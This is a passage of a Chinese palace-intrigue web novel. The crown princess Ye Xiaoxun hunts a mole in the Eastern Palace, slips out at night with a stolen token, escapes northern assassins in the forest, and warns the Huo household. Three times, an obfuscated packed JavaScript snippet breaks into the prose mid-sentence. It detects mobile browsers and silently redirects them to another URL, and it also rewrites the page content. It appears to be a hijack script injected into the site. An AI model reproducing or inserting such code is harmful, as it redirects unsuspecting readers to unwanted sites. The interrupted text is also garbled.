叶小寻犹豫片刻,说出了自己的怀疑。 突然,她灵光一闪。 “对了,点卯。”她站起来。 祝凝还在状况外:“怎么了,娘娘?” 叶小寻已将帷帽重新戴好。 “去主殿,我要查一查点卯表。” “哎——” …… 叶小寻极少来东宫主殿,更别提坐在主位上了。 她清清嗓子:“知道为何本宫要查点卯表吗?” 底下的宫人们面面相觑,纷纷称不知。 “昨夜有人趁本宫不在,闯进本宫的寝殿翻东西。” 叶小寻站起身来,祝凝扶她走下来,还不忘张嘴敲打道:“这可是大罪,你们知道什么,赶紧吐出来,娘娘定会网开一面。” 周嬷嬷此时也如临大敌一般将点卯表带来呈在案前。 “当然,本宫知道你们都是在东宫伺候多年的老人了,没有要怀疑你们的意思,本宫久病缠身这说法也只有你们之外的人会偏信。本宫只想知道,昨夜当值的人里有谁行踪诡秘,或是今天应该来的没来,大家总还是有点印象吧。” 说着,叶小寻将点卯表取出来,随意翻了翻。 她当然不觉得容慎会不小心到把内鬼放进自己贴身服侍的人里。 “啪”地一声合上点卯表,她抬起头扫视一圈。 “本宫刚才的话,你们可记住了?” “娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132734|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,奴婢们的确未曾察觉有什么异常,还望娘娘赎罪。”有个小宫女期期艾艾地开口。 叶小寻轻笑了一声,语调带着安抚,直接将话挑明了说:“本宫的意思是,太子妃疑心昨夜有人翻了的寝殿,正在张罗着找贼呢。今日之内,看看你们的本事。能把这个消息放到多远。” 既然她找不到人,那就让他们来找她好了。 回到寝殿,叶小寻取出暗格中的兵符,牢牢握在手中。 祝凝给她找的连环画上有,空饵是钓不上来鱼的,你得给它们一点它们喜欢吃的食材为饵才行。 她忍下强烈的不安,她知道这样很蠢,但若能有那么一瞬间,让师贵妃和沈道衍的注意力从霍家的身上移开,那也是好的。 她没由来地想起了梦中的霍清婉,身躯一阵颤栗。 霍清婉说,以后霍家也是她的倚仗,那岂有白认家人的道理。 霍家已经失去一个女儿了,若是为了这无休无止的皇权争斗把整个家族给赔上,又何其无辜呢? 接下来,她还是得找法子出宫。 容慎再不回来,她就得自己想法子了。 昨夜的密道太过危险,暂时不能再用。 寝殿那头必须找到涤墨接应,但此刻无法获得容慎的首肯,涤墨那条路等于也走不通。 祝凝扣了扣门。 “娘娘,殿下从勤政殿回来了。” 什么? 叶小寻大喜过望。 她顾不得那么多,鞋也不好好穿好就奔向书房。 “容慎!容……” 她跑过院落中就开始直呼容慎的本名,几个宫女吓得头也不敢抬。 一闯进书房,她被容慎满脸的倦容吓了一跳。 “何事?” 容慎连声音里也满是疲倦。 叶小寻在门边,不敢再近一步。 她有些慌乱地看向地面,欲言又止。 容慎也不催,只道:“若是没想好怎么说,不如晚膳时再谈。” “……” “我想来确认你的伤口如何了。”叶小寻指了指容慎的伤处,她扎的蝴蝶结不见了,取而代之的是用精湛手法重新包扎过的纱布。 “……那你好好休息。” 叶小寻垂头丧气地回头,没精打采地回寝殿。 总觉得,她于容慎而言,是个累赘。 打住! 叶小寻拍了拍自己的脸颊。 “叶小寻!可不能这么想!” 她还没搞清楚师贵妃在筹划什么名堂,也不知道沈道衍要怎么对付霍家,这种关键时刻怎么可以说丧气话! …… “娘娘今日等了殿下一天,而且,还查了东宫的点卯表。” 周嬷嬷来报,眼中有些犹豫,“至于娘娘吩咐的事,兹事体大,奴婢想等殿下来定夺。” 容慎轻阖的双眸微微睁开,眼中微光流转。 “还不算蠢的。” 周嬷嬷没听明白,也不敢多问,垂着脑袋等指示。 “无妨,就按娘娘的意思办。” “奴婢遵命。” 容慎调整了一下坐姿:“以后太子妃娘娘的吩咐,你直接照办便可,不需要额外向孤请示。” 27. 第 27 章 叶小寻并非坐以待毙之人。 既然知道了沈道衍与师贵妃的狼子野心,她便不能坐以待毙。 东宫里的内鬼还是得继续查。 祝凝陪着她一点点查点卯表,小厨房里一个负责灶火的岳嬷嬷,引起了她的注意。 西山事发那晚,岳嬷嬷并不在当值,且第二日便告了病,一直在耳房歇息。 叶小寻看得心惊肉跳。 祝凝每日都在小厨房为她煎药,殊不知最可疑的人就在近旁? 她顿觉背脊生寒,幸亏祝凝行事缜密,煎药时从不假手于人,药渣也是亲自处理。 此事若暴露,师贵妃想必早已发难。 叶小寻唤来祝凝,压低声音问道:“祝凝,你在这东宫待得久,依你看,这宫里的人心如何?” 祝凝一边替她整理着书案上的卷宗,一边答道:“娘娘放心,殿下御下极严,却也赏罚分明。若论忠心,这满宫上下,怕是没人比东宫的奴才更赤诚了。” “赤诚归赤诚。”叶小寻若有所思,“若是被拿捏住了软肋,有没有可能被迫为虎作伥呢?” 她脑海中再次浮现出西山那晚的惊险一幕。 那个率先向她发难的灰衣人,身法虽利落,却似乎并未下死手。 尤其是那第一刀,分明有机会直取她咽喉,却偏偏只划向了无关痛痒的衣袖。 想到此处,叶小寻眼神一凛,吩咐道:“你去帮我私下打听打听,最近东宫里的下人,有没有谁家里突然出了事?比如老人生病、欠了赌债,或是遇到了什么过不去的坎儿。” 这一查,还真让祝凝查出了一件蹊跷事。 正如叶小寻所料,问题还是出在那个岳嬷嬷身上。 据同在小厨房当差的小宫女碎嘴提及,岳嬷嬷最近总是魂不守舍,有时切菜还会切到手。 旁人问起,她只含糊说是家中幼弟得了重病。 可当周嬷嬷好意问她是否需要告假回乡照料时,她却又神色慌张地拒绝了。 “幼弟重病却不肯回去?”叶小寻眯了眯眼。 …… 岳嬷嬷被传唤至偏殿时,一直低垂着头,双手交叠在身前,显得格外拘谨。 这是一个三十出头的妇人,面容清秀却透着股愁苦之色,眉宇间似有散不去的阴霾。 “奴婢岳氏,参见太子妃娘娘。” 叶小寻端坐在软榻上,收起了平日里的嬉皮笑脸,摆出一副正经主子的架势。 她端起茶盏轻轻撇去浮沫,并未叫起,只是淡淡道:“听说你家中近日不大太平?既然幼弟重病,为何不告假回去照看?” 依照大晟律例,宫人若遇直系亲属重病且家中无人照拂,是可特批离宫省亲的,这也是皇家彰显仁德之举。 岳嬷嬷仍旧伏在地上,声音低哑:“回娘娘的话,奴婢家中父母早亡,只剩这么一个弟弟。前些日子确实是病了,但幸有邻里乡亲照拂,倒也不必奴婢特意跑这一趟。” 叶小寻盯着她的发顶,并未立刻接话。 直到那杯茶的热气快散尽了,叶小寻才慢悠悠地开了口:“既然是亲生姐弟,哪怕邻里再热心,终究也是外人。若是有什么缺银子的地方,或者是旁的难处,尽管开口。本宫虽不才,但这东宫里的人,本宫还是护得住的。你也知道,依照宫规,这省亲期间,月例银子也是照发不误的,不必担心生计。” 岳嬷嬷半点情绪也无,淡然道:“劳娘娘费心了。奴婢曾受先皇后大恩,发誓此生以东宫为家。这点私事,奴婢自己能应付,断不敢因此叨扰殿下与娘娘清净。” 叶小寻心头一跳。 岳嬷嬷那语气里的决绝与无奈,分明是在掩饰什么。 若是逼得太紧,只怕这线索就断了。 叶小寻心念一动,幽幽叹了一声:“既如此,那本宫也不勉强。你且退下吧,若是日后改了主意,或是真遇上了难处,记得来找祝凝。” “谢娘娘恩典。” 岳嬷嬷重重磕了个头,退出去时的背影,竟显得有些佝偻和萧索。 …… 这厢试探未果,叶小寻心里有些发堵。她提起裙摆,也没带侍女,径直往容慎的书房去了。 书房外的庭院里,几个小宫女正围在一起,将几块上好的梨花木板堆叠起来,正有模有样地拿着砂纸打磨。见叶小寻出来,还朝着书房那边跑,几人相视一笑。 她轻手轻脚地进了书房。 容慎正端坐在案前看书,听见动静,连眼皮都没抬一下,仿佛早已习惯了她的不请自来。 叶小寻也不客气,自顾自地找了张离他不远不近的圈椅坐下,托着腮帮子盯着他看。 容慎这人,定力好得惊人。 他不说话,也不问她来做什么,就这么晾着她,仿佛在比谁先沉不住气。 果然,不过一盏茶的功夫,叶小寻就坐不住了。 她清了清嗓子,试图打破这令人窒息的沉默。 “殿下?” 容慎翻过一页书,依旧没抬头:“说。” “许久未见霍家公子了,也不知他最近怎么样?”叶小寻试探着问道。 容慎翻书的手指一顿,终于舍得抬起眼皮,凉凉地瞥了她一眼。 特地跑来书房找他,就为了问别的男人? “不知。”他声音冷了几分,“兴许还活着吧。” 叶小寻一噎:“……我还以为你们两个是朋友,怎么对他这么冷淡?” “你们也不是朋友,怎么对他这么上心?”容慎反唇相讥。 叶小寻语塞。 “算了,不说这个。”叶小寻眼珠子一转,生硬地转移了话题,“上次那个糖苹果,好吃吗?” 容慎重新低下头看书,没理她。 叶小寻也不气馁,凑近了几分,笑眯眯道:“下次我再给你买糖葫芦回来,怎么样?我还听说,最近市面上有了西域进贡的洋柿子,若是裹上糖衣,味道肯定也是极好的。” “你想吃,孤可以让涤墨去买。”容慎淡淡道。 “那怎么行?”叶小寻一听就急了,竖起柳眉道,“这种东西,讲究的就是一个刚出锅放凉那会儿,糖衣是脆的,放久了口感就差远了。上次那是没法子,下次要吃,自然是要在它最好吃的时候吃,咱们得一起出去才行。” “一起出去?”容慎轻嗤一声,终于放下了手中的书卷,目光沉沉地看着她,“还嫌惹的事情不够多吗?上次那一刀还没让你长记性?” 叶小寻有些心虚地缩了缩脖子,但很快又理直气壮起来:“我哪有惹事情?我又没说现在就要出去。我这叫邀请!懂不懂呀?” 容慎眼睛已经不看她了,唇角勾起一抹极淡的弧度:“那便等能出去了再说吧。” “真的?”叶小寻眼睛一亮,立刻顺杆往上爬,挤出一个灿烂的笑脸,“那我就当你答应了!君子一言,驷马难追哦!” 说完,她起身行了个不像样的礼,转身便溜了出去。 然而,刚一跨出书房门槛,她脸上的笑容瞬间就垮了下来。 “等能出去再说”?这话听着好听,实则是遥遥无期。看他这架势,短时间内是不打算放她出宫了。 “没关系,你不带我去,我难道还没长腿吗?” 叶小寻一边在心里嘀咕,一边若无其事地将手探入袖袋,指尖触到一块冰凉坚硬的令牌。 “叶小寻啊叶小寻,赋闲多日,这手艺倒是还没生疏。” 她得意地勾了勾唇角。 …… 晚膳时分,送汤药来的竟不是祝凝,而是岳嬷嬷。 叶小寻有些惊讶。这是岳嬷嬷第一次进内殿侍奉。 岳嬷嬷端着托盘,低眉顺眼地走到榻前:“娘娘,药煎好了,趁热喝了吧。” 叶小寻心里莫名有些打鼓。 这药……应该没问题吧? 她不动声色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132735|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地凑近闻了闻,气味与平时无异,并没有什么异味。 “娘娘?”岳嬷嬷见她迟疑,又轻唤了一声。 “哦,好。”叶小寻压下心头的疑虑,端起药碗,慢慢地抿了一口。 药汁入口苦涩,含在嘴里好半天,确认没什么异样,才缓缓咽下。 就在她准备一口气喝完时,一直沉默不语的岳嬷嬷忽然开了口。 “娘娘是霍家长女,如今身处这深宫之中,一言一行皆系着霍家满门荣辱。” 岳嬷嬷的声音极低,只有她们二人能听见。 叶小寻动作一顿,抬眼看她。 岳嬷嬷并未抬头,依旧维持着恭敬的姿势。 “恕奴婢多嘴,若娘娘手上有什么不该拿的东西,那便是祸患。那些豺狼虎豹若是知晓了,第一件事便是要将娘娘与霍家扒皮抽筋,吸血食髓。如今殿下与霍家已是同舟共济,牵一发而动全身。娘娘即便不为自己考虑,也该为殿下考虑。若不想为殿下考虑,也该为霍家那几百口无辜之人考虑。还望娘娘三思。” 叶小寻握着药碗的手猛地收紧,指节泛白。 她想追问,可岳嬷嬷已经直起身子,恢复了那副木讷寡言的模样,接过空碗,行礼道:“奴婢告退。” 看着岳嬷嬷退出去的背影,尤其是最后那个带着某种决绝意味的眼神,叶小寻心中那股不安感愈发强烈。 “不能再等了。” 叶小寻猛地站起身。她不愿再在这猜哑谜的游戏里浪费时间。 现在的当务之急,是必须把师贵妃和沈丞相要对霍家下手的消息传递出去。 霍家已经失去了一个女儿了,还要为了这纷争失去多少? 夜色渐浓。 叶小寻摸进祝凝的耳房,熟练地换上了一身不起眼的小宫女衣裳,又将头发打散重新梳了个双丫髻。 这身打扮,再加上她刻意收敛气息,若是低着头走在夜色里,活脱脱就是个刚进宫不久的小丫头片子。 她摸了摸怀里的太子令牌,深吸一口气,提着一盏样式普通的宫灯,光明正大走出了东宫正门。 这一次,翻墙反而危险。 自从上次西山事发,师贵妃显然加强了宫闱戒备,墙头屋顶全是暗哨。 刚走到宫门口,两柄长戟便交叉挡住了去路。 “站住!此时已过宵禁,你是哪个宫的?要去何处?” 当值的禁军统领厉声喝问,手中的灯笼毫不客气地怼到了叶小寻脸上。 叶小寻被强光晃得眯了眯眼,却并未慌张。她稳了稳心神,沉声道:“东宫。” 禁军统领借着灯光上下打量了她一番,狐疑道:“东宫?看着面生得很啊。这么晚了,不在宫里伺候,乱跑什么?” 叶小寻挺直了腰杆,冷哼一声:“我是涤墨大人手底下办事的,专管殿下的私库杂务,平日里极少露面,你看着自然面生。至于这差事……” 她顿了顿,从袖中掏出那块沉甸甸的金令,在统领眼前晃了晃,“我奉太子殿下密令出宫办事,事关重大。若是耽搁了时辰,误了殿下的大事,你们几个脑袋够赔?” 禁军统领面色一变,虽然仍有疑虑,但这令牌做不得假。 “既是殿下密令,那便快去快回。” 统领挥了挥手,示意放行。 “多谢。” 叶小寻收起令牌,扬起下巴,脚步从容地穿过宫门。每一步都走得不紧不慢,仿佛真的只是奉命办事的宫女。 直到彻底走出了皇城那厚重的朱红大门,拐进了无人的暗巷,她才猛地松了一口气,靠在墙根下大口喘息。 “好险……” 她摸了摸早已湿透的后背,苦笑一声。 但现在不是庆幸的时候。 她必须尽快找到霍清珏。 夜风微凉,卷起地上的落叶。 一道娇小的身影融入夜色之中,朝着镇国公府的方向疾驰而去。 28. 第 28 章 萧索的京城笼罩在一片肃杀之中。 叶小寻贴着墙根,疾行于通往镇国公府的暗巷中。 府邸越近,空气中弥漫着一股凝重的压迫感,像是毒蛇吐信,直往骨髓里钻。 她在距离镇国公府还有两条街的一棵老柳树后停下,借着树影的掩护,探头望去。 镇国公府门前依旧悬着那两盏威严的大红灯笼,风平浪静。 可依旧让她察觉出几个极不寻常的气息。 叶小寻在心里冷嗤一声,低头看了一眼手中那块沉甸甸的太子金令。 若是在这里被抓,这令牌一旦曝光,师贵妃那边便有了铁证,指控太子勾结霍家谋反。 她四下张望一番,足尖轻点,跃上身旁那棵老柳树的树杈,在树干的一处隐蔽树洞里,将那块金令小心翼翼地塞了进去,又抓了一把枯叶掩盖好。 …… 镇国公府占地极广,除了正门,还有东南西北四个角门。 叶小寻没打算走门,她绕到了府邸西侧的一处偏僻围墙外。 这里有一棵百年的老槐树,枝繁叶茂,虬结的树枝恰好伸进了墙内,天然一把梯子。 她深吸一口气,提气纵身,身形如一只轻盈的雨燕,无声无息地落在了那粗壮的树干上。 再次运气准备借力跃入墙内的瞬间,一股寒意陡然从尾椎骨直冲天灵盖! 杀气! 几乎是身体的本能反应让她在半空中硬生生地扭转了腰身,整个人以一种极其诡异的姿势向后倒仰而去。 “咄!咄!” 两声极其细微的破空声擦着她的鼻尖掠过。 两枚闪着寒光的十字镖,死死地钉在她方才落脚的树干上,入木三分,镖尾还在剧烈颤动。 若是她慢了半息,这会儿恐怕已经事透心凉。 “咦?” 墙内的阴影处,传来一声带着怪异腔调的惊疑声。 那声音极低,含糊不清中,透着一股子北地蛮荒的味道,“要留活口。” 听到这怪腔怪调,叶小寻心头猛地一沉。 这口音……边关那边的游牧蛮子? 师贵妃和沈道衍,竟然勾结了外族死士来对付霍家?! 这帮人显然不是普通的看家护院,他们不仅武功高强,而且手段狠辣,根本不在乎这里是天子脚下的京师重地。 “想抓活的?”叶小寻眼底闪过一丝讥讽,“那也得看你们有没有这个本事追得上姑奶奶!” 既然行踪已露,硬闯便是送死。 她果断放弃了翻墙入府的计划,脚在树干上重重一蹬,借力反弹而出,轻盈落地,转身便朝相反的方向狂奔而去。 那个方向,是西山。 “追!” 身后传来数道衣袂破空之声,紧接着是几道黑影如同附骨之疽般紧随其后。 此时正值宵禁,宽阔的大街上空空荡荡,连个鬼影子都没有。 在这里跑,毫无藏身之所。 唯有入了山林,借着草木地形的掩护,尚可一博。 风声呼啸,灌满了她的衣袖。 叶小寻一路狂奔。 身后追兵的气息越来越近,显然轻功都不弱。 只可惜,只要放他回了西山,哪里的草深,哪里的坑多,哪里的藤蔓有毒,她闭着眼睛都能摸得清。 “既然你们这么喜欢追,那就陪姑奶奶进林子里玩玩捉迷藏吧。” 一入西山地界,光线便陡然暗了下来。 参天的古木遮天蔽日,只有零星的月光透过枝叶的缝隙洒下斑驳的光点。 叶小寻在一处灌木丛生的小径前猛地停住脚步,弯腰捡起一块石头,朝着左前方那片茂密的芦苇荡狠狠掷去。 “啪嗒。” 石子落地的声音在寂静的山林中格外清晰。 “那边!” 身后追来的几道黑影立刻被声音吸引,其中四人毫不犹豫地朝着芦苇荡扑去。 叶小寻屏住呼吸,伏在一块巨石后的凹陷处,只露出一双晶亮的眸子,透过草叶的缝隙默默数着。 一、二、三、四。 那个领头的怪强调不在其中。 她嘴角勾起一抹冷笑。 果然,这群人虽是亡命之徒,却也并非有勇无谋。他们留了一手,有人在后面断后。 叶小寻并没有急着动。 她耐心地伏在原地,直到那四个追兵的身影消失在芦苇荡深处,周围再次恢复了死一般的寂静。 过了约莫半柱香的功夫。 一道灰色的身影无声无息地落在了她方才投石的位置。 那人并没有急着追进芦苇荡,而是警惕地四下张望,手中的弯刀在月光下折射出森冷的寒芒。 就是现在! 叶小寻眼中精光一闪。 她从身旁的灌木丛上摘下了几颗其貌不扬的褐色果实。 这东西叫野蒺藜,俗称鬼见愁。 果实虽小,却坚硬如铁,四周长满了尖锐的硬刺。 若是踩上一脚,那滋味足以让人痛彻心扉,若是被当作暗器打在身上,那便是皮开肉绽。 这种野果子在西山遍地都是,平日里没人稀罕,但在叶小寻手里,这就是大自然赐予的最趁手的兵器。 她捏着三颗野蒺藜,屏息运气,手腕猛地一抖。 “嗖!嗖!嗖!” 三颗带刺的果实呈品字形飞射而出,并非射向那灰衣人,而是射向他头顶那棵大树上挂着的几个马蜂窝! “嗡——” 受惊的马蜂倾巢而出,黑压压的一片如同乌云般罩向那个灰衣人。 “什么东西?!” 那灰衣人大惊失色,挥刀乱舞,试图驱赶这些不速之客。 笑话,刀剑如何奈何得了马蜂。 趁着他手忙脚乱之际,叶小寻猛地从藏身处窜出。 她手中握着一根刚才随手折下的坚韧藤条,看准时机,猛地缠住了那灰衣人的脚踝,用力一拽! “噗通!” 灰衣人被这突如其来的一击绊倒在地,还没等他爬起来,叶小寻已经欺身而上,一记手刀干净利落地劈在他的后颈上。 那人哼都没哼一声,直接软倒在地。 解决掉一个。 叶小寻没有丝毫停留,迅速在他身上搜了一遍,摸出了一块刻着狼头图腾的铁牌。 果然是北地的狼卫! 远处芦苇荡里传来了动静,那是被引开的四个人发现不对劲,正折返回来。 “来得好快。” 叶小寻冷哼一声,将那几颗剩下的野蒺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132736|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藜洒在必经之路上,然后身形一闪,钻进了旁边更加茂密的荆棘林。 那四人赶到时,只看见倒在地上的同伴。 “老三!” 其中一人刚要上前查看,脚下突然传来一阵剧痛。 “啊!我的脚!” 那是野蒺藜刺穿鞋底,扎入脚心的声音。 剩下的三人一惊,连忙停住脚步。 “小心!这地上有古怪!” “那娘们儿使诈!就在附近,给我搜!” 然而,这西山林密草深,又是在深夜,对于不熟悉地形的他们来说,每走一步都可能踩中陷阱。 而叶小寻,早已借着这段时间的缓冲,如同鬼魅般绕到了他们的侧后方。 她并不恋战。 她的目的不是杀人,而是潜入霍府报信。 她捡起地上的一根枯枝,运用内力将其折断,发出咔嚓一声脆响,然后迅速将手中的外衫脱下,挂在一旁的树枝上,制造出有人藏身的假象。 果然,那剩下的三人听到动静,立刻如饿狼扑食般朝着那件外衫扑去。 就在他们扑空的瞬间,叶小寻已经从另一侧的斜坡滑了下去,借着茂密的灌木丛掩护,几个起落便消失在了茫茫夜色之中。 半个时辰后。 镇国公府,后巷。 剩下的那一两个暗哨,对于此时已经摸清了底细的叶小寻来说,不过是摆设罢了。 她重新回到那棵老槐树下。 这一次,她没有贸然上墙。 她从袖中掏出一根极细的飞虎爪,轻轻一甩,爪钩无声无息地扣住了墙头的一处凹陷。 试了试力道,确认稳固后,她像只壁虎一样贴着墙壁游了上去。 探头往里看去。 霍府内一片漆黑,只有远处的书房还亮着一豆灯火。 那是霍清珏的住处。 叶小寻心中一定。 收起飞虎爪,叶小寻看准了院内的一处草垛,轻盈地跳了下去。 落地无声。 她猫着腰,避开了巡逻的家丁,一路摸到了书房的窗下。 屋里传来翻动书页的声音,还有一声极轻的叹息。 那是霍清珏的声音。 叶小寻蹲在窗下,整理了一下有些凌乱的衣衫,平复了一下剧烈跳动的心脏。 回想起刚才霍清婉那句虚无缥缈的嘱托:“你从此多了父亲,多了哥哥,不好吗?” “好,当然好。” 她在心里默默回答。 虽然还没跟这个便宜哥哥正经说过几句话,但既然占了人家妹妹的身子,受了人家父亲的庇护,这份情,她叶小寻认了。 如今霍家有难,她怎能袖手旁观? 叶小寻伸出手,在窗棂上轻轻叩了三下。 “笃、笃、笃。” 屋内的翻书声戛然而止。 “谁?” 霍清珏的声音带着几分警惕,还有一丝不易察觉的颤抖。 只要窗户被打开了一道口子,叶小寻就能借机滚落在霍清珏房间里的软毯上。 可片刻后,屋内传来一阵急促的脚步声。 窗户被人猛地推开。 霍清珏看到她,面上表情不得不说一句精彩绝伦。 “你……” 29. 第 29 章 “霍公子,情况紧急,可否借一步说话?” 叶小寻顾不得此刻自己发髻凌乱的狼狈模样,双手攀着窗棂,气喘吁吁地低喊道。 她半个身子探进屋内,只见这书房布置得清雅严谨,紫檀木案上堆满了卷宗,除了霍清珏,角落里只垂手立着一名小厮。 那小厮也是个机灵的,乍一见窗台上冒出个女飞贼,非但没叫唤,反而眼观鼻,鼻观心,把头埋得极低,仿佛瞬间入定了一般。 叶小寻心中大定,既是心腹,那便安全。 霍清珏却是被这一幕惊得手中书卷都差点拿捏不住。 待看清来人是叶小寻,他眼底的惊愕瞬间化作了滔天的怒意与后怕。 “胡闹!” 他几步上前,不顾那小厮还在场,一把扣住叶小寻纤细的手腕,手上力道极大,直接将人从窗台上硬生生拖了进来。 叶小寻脚跟还没站稳,耳边便炸响了霍清珏压低了嗓音的怒斥。 “你怎么会出来了?此刻宫门早已落锁,你应该待在东宫安安稳稳地做你的太子妃才对!找死吗?” 他一边训斥,一边警觉地探头看向窗外幽深的夜色,将窗扇死死合上,还不忘插上了插销。 转过身,霍清珏那张素来温润如玉的脸庞此刻黑沉得吓人,连带着语气也变得尖锐起来,竟是直接点了太子的名讳: “容慎到底是怎么回事?堂堂太子爷,怎么连自个儿的媳妇都看不住?” 叶小寻正在揉着被捏痛的手腕,闻言差点惊掉了下巴。 第一次听霍清珏直呼太子名讳,她有点不敢做声。 “我来是有要紧事!霍公子,你们镇国公府被人盯上了!沈道衍那个老贼,正在打你们家兵符的主意!” “兵符?” 霍清珏闻言,并未表现出过度的惊讶。 “多谢娘娘提醒。”他拱了拱手,语气冷硬,“此事下官亦自有应对之法。” “你知道?”叶小寻瞪大了眼,“那你知不知道他们还要害你爹?之前听闻霍将军要回塞北的,他们定会想方设法埋伏,此番回程,必定是步步杀机啊!” 霍清珏紧锁眉头,负手在书房内踱了两步。 他停下脚步,转头看向叶小寻,沉声道:“近日塞北边陲蠢蠢欲动,几个早已臣服的游牧部落突然屡屡犯边,行迹诡异。父亲此次急着回防,便是察觉到有人在朝中里应外合,故意在边境制造摩擦,意图调虎离山。” 霍清珏冷笑一声,眼中寒芒乍现。 此前容慎与他一直在查沈道衍私养死士的证据,尤其是那个刘大福,虽死得蹊跷,但他生前源源不断送往京郊庄子的银两,绝不仅仅是为了贪图享乐。他们怀疑沈道衍在养私兵。 本来他们手中只有一本单薄的账本,苦无实证。 如今看来,沈老贼是沉不住气了。 霍清珏指尖轻轻叩击着桌面,发出笃定的声响。 “若是他们想利用父亲此次塞北之行做文章,在半路截杀也好,构陷通敌也罢,只要他们动了,那狐狸尾巴便藏不住了。这一局,既是险棋,也是我们引出那头大狼的绝佳诱饵。” 叶小寻听得一愣一愣的。 原来这两个人早就把棋盘摆好了,甚至不惜以身为饵。 相比之下,自己这点通风报信,倒显得有些班门弄斧了。 “既如此,那便是我多虑了。”叶小寻有些讪讪地摸了摸鼻子,心中却也松了一口气。 就在这时,霍清珏转头对那一直装死的小厮沉声吩咐道:“立刻派人去东宫附近的暗桩送信,让容慎即刻派人来接。务必走最隐秘的路子,绝不能让旁人知晓娘娘今夜来过霍府。” “是。”小厮应声而退。 没过多久,门外传来一阵轻盈的脚步声。 一名身着碧色比甲,梳着妇人髻的婢女走了进来。她动作极为利索,进门先是不动声色地打量了叶小寻一眼,随即恭敬地行了一礼。 霍清珏有点讶异。 “锦绣?母亲让你来的?” 锦绣手脚麻利地给叶小寻换了盏热茶,又端来几碟精致的糕点,甚至极有眼色地端来一个绘着粉彩花鸟的铜盆,里面盛着清水,漂浮着几瓣新鲜的玫瑰花瓣,供叶小寻净手。 做完这一切,锦绣才垂首立在一旁,轻声细语道:“大少爷,夫人那边还没歇下,听闻有贵客至,便遣奴婢来问问。若是贵人不介意,夫人想请贵人过去陪她说说话。” 霍清珏闻言,神色微微一僵。 他看了一眼叶小寻,又看了一眼外面的天色,眉头微蹙。 虽说事出从权,但他毕竟是外男,叶小寻如今又是太子妃的身份,孤男寡女共处一室确实于理不合。母亲这是在点他要注意男女大防。 犹豫再三,他终究是点了点头。 “也好。” 霍清珏转头看向叶小寻,目光复杂。 “你去见见母亲吧。以你叶小寻的身份便可。” 叶小寻顿时慌了神,眼睛瞪得溜圆,冲着霍清珏疯狂摇头。 霍清珏却仿佛没看见她的惊恐,只是淡淡地加了一句:“你放心去。母亲她什么都明白。” 什么都明白? 叶小寻心里咯噔一下,还没来得及细想这句话的深意,便已被锦绣半请半扶地带出了书房。 穿过几道月亮门,便是霍夫人的居所。 相比于宫闱的金碧辉煌,红墙黄瓦,这镇国公府的内院显然要素雅许多。 借着廊下的灯火,叶小寻惊讶地发现,这院子里竟种满了层层叠叠的月季。 红的如火,粉的似霞,白的像雪,各色都有,在这夜色中静静绽放,虽无浓香,却有一种勃勃的生机。 “这么多花……”叶小寻不禁多看了几眼。 前面的锦绣提着灯笼,轻声道:“将军常年驻守塞北,大少爷又忙于公务,夫人怕院子里冷清,便种了这些月季。夫人常说,月季好活,不挑地儿,给点水就能开得热闹,看着心里也暖和。” 叶小寻心中微动。 好活,不挑地儿。 这不仅仅是在说花,恐怕也是这位将军夫人对自己儿女的一期盼吧。 正想着,已到了正房。 雕花的窗扇半开着,一个身着宝蓝色团花暗纹褙子的雍容妇人正倚在窗边品茶。 她并未看向窗外的景色,而是目光空茫地望着虚空中的某一点,直到叶小寻的身影出现在庭院中,她那双原本黯淡无光的眸子才骤然亮起了一瞬。 霍夫人放下茶盏,整理了一下衣襟,竟是扶着桌沿缓缓起身,对着刚跨进门槛的叶小寻,端端正正地行了一个大礼。 “臣妇岑氏,拜见太子妃娘娘。” 叶小寻吓得魂飞魄散,赶紧冲过去一把扶住她的手臂:“使不得使不得!” 她手忙脚乱,一张俏脸涨得通红。 眼前这位可是霍清婉的亲娘! 只是……霍清珏明明让她以叶小寻的身份来见,可霍夫人这一开口,却又是规规矩矩的太子妃。 霍夫人借着她的搀扶站直了身子,目光落在叶小寻的脸上。 她并未收回手,反而反手轻轻握住了叶小寻的手指。 那只手温热,柔软,却带着一丝细微的颤抖。 “娘娘请上座。”霍夫人浅浅一笑,眼角的细纹里都藏着温柔,“不必拘礼。臣妇一直希望能见娘娘一面,没想到这么快便如愿了。” 叶小寻被她那温柔的目光看得浑身不自在,只能硬着头皮坐下。 霍夫人却并未谈及朝堂之事,只是亲自为她斟了一杯茶,又指了指窗外的月季,温声聊起了家常。 “这院子里的月季,原本是婉儿最喜欢的。” 